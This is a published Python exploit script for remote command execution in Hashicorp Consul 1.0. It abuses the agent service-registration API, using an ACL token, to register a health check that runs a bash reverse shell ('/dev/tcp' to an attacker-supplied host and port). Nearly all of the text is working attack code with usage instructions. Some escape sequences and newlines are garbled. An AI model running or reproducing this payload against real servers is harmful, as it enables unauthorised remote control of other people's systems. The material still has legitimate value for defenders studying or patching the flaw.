Authored by GatoGamer1155, 0bfxgh0st

Hashicorp Consul version 1.0 suffers from a remote command execution vulnerability.

# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage:
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References:
# Tested on: Ubuntu Server
# Software Link:

import requests, sys

if len(sys.argv) < 6:
print(f"n[33[1;31m-33[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>n")

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

requests.put(target, headers=headers, json=json)
print("n[33[1;32m+33[1;37m] Request sent successfully, check your listenern")
print("n[33[1;31m-33[1;37m] Something went wrong, check the connection and try againn")